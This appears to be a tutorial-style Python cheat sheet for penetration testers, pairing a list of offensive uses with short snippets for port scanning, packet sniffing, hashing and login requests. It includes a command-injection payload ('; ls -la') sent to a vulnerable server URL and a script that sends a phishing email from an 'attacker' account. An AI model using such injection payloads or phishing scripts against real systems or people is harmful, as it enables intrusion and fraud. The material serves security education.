Python Cheat Sheet for Ethical Hackers

Python is a versatile programming language that can be used for various purposes, including ethical hacking and penetration testing

Python’s simplicity, extensive libraries, and active community make it a popular choice for these tasks. Here are a few ways Python can be used in ethical hacking and penetration testing:

  • Network Scanning Python provides libraries like Scapy and Nmap that allow you to create network scanners to discover open ports, identify network services, and perform host discovery.
  • Exploit Development Python can be used to write exploits and develop proof-of-concept code. The Metasploit Framework, a widely used penetration testing tool, has a Python interface that allows you to automate exploits.
  • Web Application Testing Python frameworks like Flask and Django are useful for creating web applications, but they can also be used to test web applications for vulnerabilities. Libraries like Requests and BeautifulSoup enable HTTP requests, response parsing, and web scraping.
  • Password Cracking Python can be utilized to build password-cracking tools by implementing techniques like brute-force attacks or dictionary attacks. Libraries such as hashlib and bcrypt assist in password hashing and salting.
  • Wireless Network Auditing Python libraries like Scapy and PyRIC enable wireless network auditing tasks such as sniffing, deauthentication attacks, and capturing network packets.
  • Social Engineering Python can be used to automate social engineering attacks, such as sending phishing emails, interacting with social media APIs for reconnaissance, or generating malicious documents.
  • Reporting and Automation Python’s ability to parse and manipulate data makes it useful for automating repetitive tasks, generating reports, and analyzing the results of security tests.

Cheat Sheet for Ethical Hacking

The following is a list of the most important and frequently used Python commands for ethical hacking and pen testing:

1. Networking and Scanning

Commands to scan open ports.

import socket

target = "192.168.0.1"

port = 80

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

result = sock.connect_ex((target, port))

if result == 0:

    print("Port {} is open".format(port))

else:

    print("Port {} is closed".format(port))

2. Exploitation and Payloads

Here’s how to execute a system command on a vulnerable server

import requests

url = "http://vulnerable-server.com/command.php"

payload = "; ls -la"

response = requests.get(url + payload)

print(response.text)

3. Web Application Testing

Commands for sending a POST request with parameters

import requests

url = "http://vulnerable-site.com/login"

data = {

    "username": "admin",

    "password": "password123"

}

response = requests.post(url, data=data)

print(response.text)

4. Password Cracking and Hashing

Here’s how to generate a hash of a password using SHA-256

import hashlib

password = "password123"

hashed_password = hashlib.sha256(password.encode()).hexdigest()

print(hashed_password)

5. Wireless Network Auditing

Commands for sniffing packets on a wireless network interface.

import pyshark

capture = pyshark.LiveCapture(interface='wlan0')

capture.sniff()

for packet in capture:

    print(packet)

6. Social Engineering

Commands for sending a phishing email using smtplib:

import smtplib

from_email = "attacker@gmail.com"

to_email = "victim@example.com"

subject = "Important Message"

body = "This is a phishing email."

msg = "From: {}\nTo: {}\nSubject: {}\n\n{}".format(from_email, to_email, subject, body)

server = smtplib.SMTP("smtp.gmail.com", 587)

server.starttls()

server.login("attacker@gmail.com", "password")

server.sendmail(from_email, to_email, msg)

server.quit()

It’s important to note that ethical hacking and penetration testing should be performed legally and with proper authorization. Always adhere to ethical guidelines and obtain the necessary permissions before conducting any security testing on systems or networks that you don’t own or have permission to test.